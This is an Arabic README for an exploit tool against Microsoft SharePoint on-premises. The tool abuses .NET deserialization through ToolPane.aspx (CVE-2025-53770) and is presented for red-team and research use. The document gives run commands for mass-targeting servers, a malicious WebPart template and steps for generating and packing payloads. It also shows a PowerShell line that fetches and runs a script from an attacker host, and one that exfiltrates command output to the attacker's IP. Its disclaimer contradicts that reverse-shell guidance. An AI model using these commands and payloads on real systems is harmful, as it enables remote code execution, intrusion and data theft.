
أداة استغلال حقن WebPart في SharePoint
🍕 أداة استغلال لثغرة حقن WebPart في SharePoint عبر ToolPane.aspx، مما يؤدي إلى إلغاء تسلسل .NET وإمكانية تنفيذ تعليمات برمجية عن بُعد (RCE).
طوّرها: @GOTOCVE
تستغل هذه الأداة ثغرة أمنية في Microsoft SharePoint (محليًا On-Premises) تسمح للمستخدمين المُصادقين بإساءة استخدام نقطة النهاية ToolPane.aspx وحقن WebParts خبيثة تحتوي على كائنات .NET متسلسلة مضغوطة بصيغة GZIP.
يتم وضع الكائن المحقون داخل المُعامِل MSOTlPn_SelectedWpId ودمجه في WebPart مزيف (مثل <Scorecard:ExcelDataSet>) يتم تحليله وإلغاء تسلسله بواسطة خادم SharePoint الخلفي.
| المنتج | الإصدارات المتأثرة |
|---|
| SharePoint Server 2016 | 16.0.4351.1000 - 16.0.5508.1000 |
| SharePoint Server 2019 | 16.0.10337.12109 - 16.0.10417.20027 |
| الحقل | القيمة |
|---|---|
| المكوّن | Microsoft SharePoint (On-Premises) |
| نقطة النهاية | /layouts/15/ToolPane.aspx |
| المُعامِل | MSOTlPn_DWP |
| WebPart | <Scorecard:ExcelDataSet CompressedDataTable> |
| المشكلة | إلغاء تسلسل .NET غير آمن |
| CVE | CVE-2025-53770 |
exploit.pyأداة استغلال SharePoint متعددة الخيوط لثغرة CVE-2025-53770.
/ToolPane.aspxYSLosf.exeمولّد حمولات LosFormatter وأداة إلغاء تسلسل.

python3 exploit.py -u https://target -p payload.txt
python3 exploit.py -f targets.txt -p payload.txt --proxy http://127.0.0.1:8080
| الوسيط | الوصف |
|---|---|
-u | رابط الهدف (مثل: https://sp.company.local) |
-f | ملف يحتوي على روابط الأهداف (رابط واحد في كل سطر) |
-p | ملف الحمولة أو سلسلة Base64 GZIP مباشرة |
--proxy | وكيل اختياري (مثل: http://127.0.0.1:8080) |
-t | مهلة الانتظار بالثواني (الافتراضي: 15) |
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
YSLosf.exe)يجب أن تكون حمولتك:
DataSet أو ObjectDataProvider)LosFormatter أو BinaryFormatterمضمّنة في WebPart مثل:
<asp:UpdateProgress ID="UpdateProgress1" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="{PAYLOAD}" DataTable-CaseSensitive="false" runat="server" />
</div>
</ProgressTemplate>
</asp:UpdateProgress>
YSLosfضع أمرك (مثل: قشرة عكسية) في payload.txt:
powershell -nop -c iwr http://attacker/shell.ps1 | iex
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe --p payload.txt
Serialized string:
/wEFBWZsdG1j
Base64 encoded:
L3dFRkJXWnNkRzFq
C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe -d dpayload.txt
Deserialized object:
fltmc
# compress.py
import gzip, base64
with open("base64.txt", "rb") as f:
b64 = base64.b64decode(f.read())
gz = gzip.compress(b64)
# print(base64.b64encode(gz).decode())
encoded = base64.b64encode(gz).decode()
with open("payload-final.txt", "w") as out_file:
out_file.write(encoded)
احفظ المخرجات في payload-final.txt ومررها إلى أداة الاستغلال.
System.Data.DataSetSystem.Data.Services.Internal.ExpandedWrapperSystem.Windows.Data.ObjectDataProviderSystem.Web.UI.LosFormatterهذه الثغرة لا تُرجع أي مخرجات (مثل: ipconfig) في الاستجابة. يجب عليك:
powershell -c "ipconfig | Invoke-WebRequest -Uri http://your-ip:8000/?d=$(Get-Content -Raw)"
هذه الأداة مُقدمة لأغراض تعليمية واختبارات أمنية مُصرّح بها فقط.
لا تستخدمها ضد أنظمة بدون إذن صريح. سوء الاستخدام قد يكون غير قانوني وغير أخلاقي.
إذا قبل الخادم الضعيف الحمولة وأعاد MSOTlPn_SelectedWpId أو عرض الصفحة مع WebPart المحقون، فمن المحتمل أن تكون الثغرة قابلة للاستغلال. عدم وجود مخرجات يعني أن إلغاء التسلسل فشل أو أن الخادم تم تحديثه (Patched).
هذه الأداة لا تقوم بتسليم أو تنفيذ أي شيلكود أو ويب شيل (Web Shell).
إنها توضح فقط استغلال ثغرة إلغاء تسلسل .NET (CVE-2025-53770) عبر نقطة النهاية الضعيفة ToolPane.aspx باستخدام بنية WebPart خبيثة تحتوي على كائن .NET مضغوط بصيغة GZIP.
🔹 الغرض: مساعدة الباحثين وأعضاء فرق الاختراق (Red Team) وفرق الدفاع (Blue Team) في اكتشاف خوادم SharePoint الضعيفة واختبار متجه الحقن بأمان باستخدام حمولات مخصصة.
🔹 الحمولات: تتطلب الأداة من المستخدمين توليد حمولاتهم الخاصة (مثل: استخدام YSLosf.exe) والتي يتم تضمينها في WebPart كسلاسل GZIP بترميز Base64.
تقع على عاتق المستخدم مسؤولية اختيار حمولات مناسبة وأخلاقية (مثل: تنفيذ calc.exe غير الضار، أو إشارات Beacon، وما إلى ذلك).
🔹 لا توجد قشور عكسية/ويب شيلات مضمّنة:
بينما قد يقوم المهاجمون في البرية بإسقاط ويب شيلات مثل spinstall0.aspx، هذا المشروع لا يتضمن أي منطق من هذا القبيل.
إذا كنت تخطط لتسليم قشرة عكسية، فيجب عليك توليد حمولتك الخاصة يدويًا وتحمل المسؤولية الكاملة عن استخدامها.
انضم إلى @GOTOCVE على تيليجرام:
أُنشئت بواسطة Ali Soltani
للاستفسارات البحثية أو الإبلاغ عن أخطاء، راسلنا عبر تيليجرام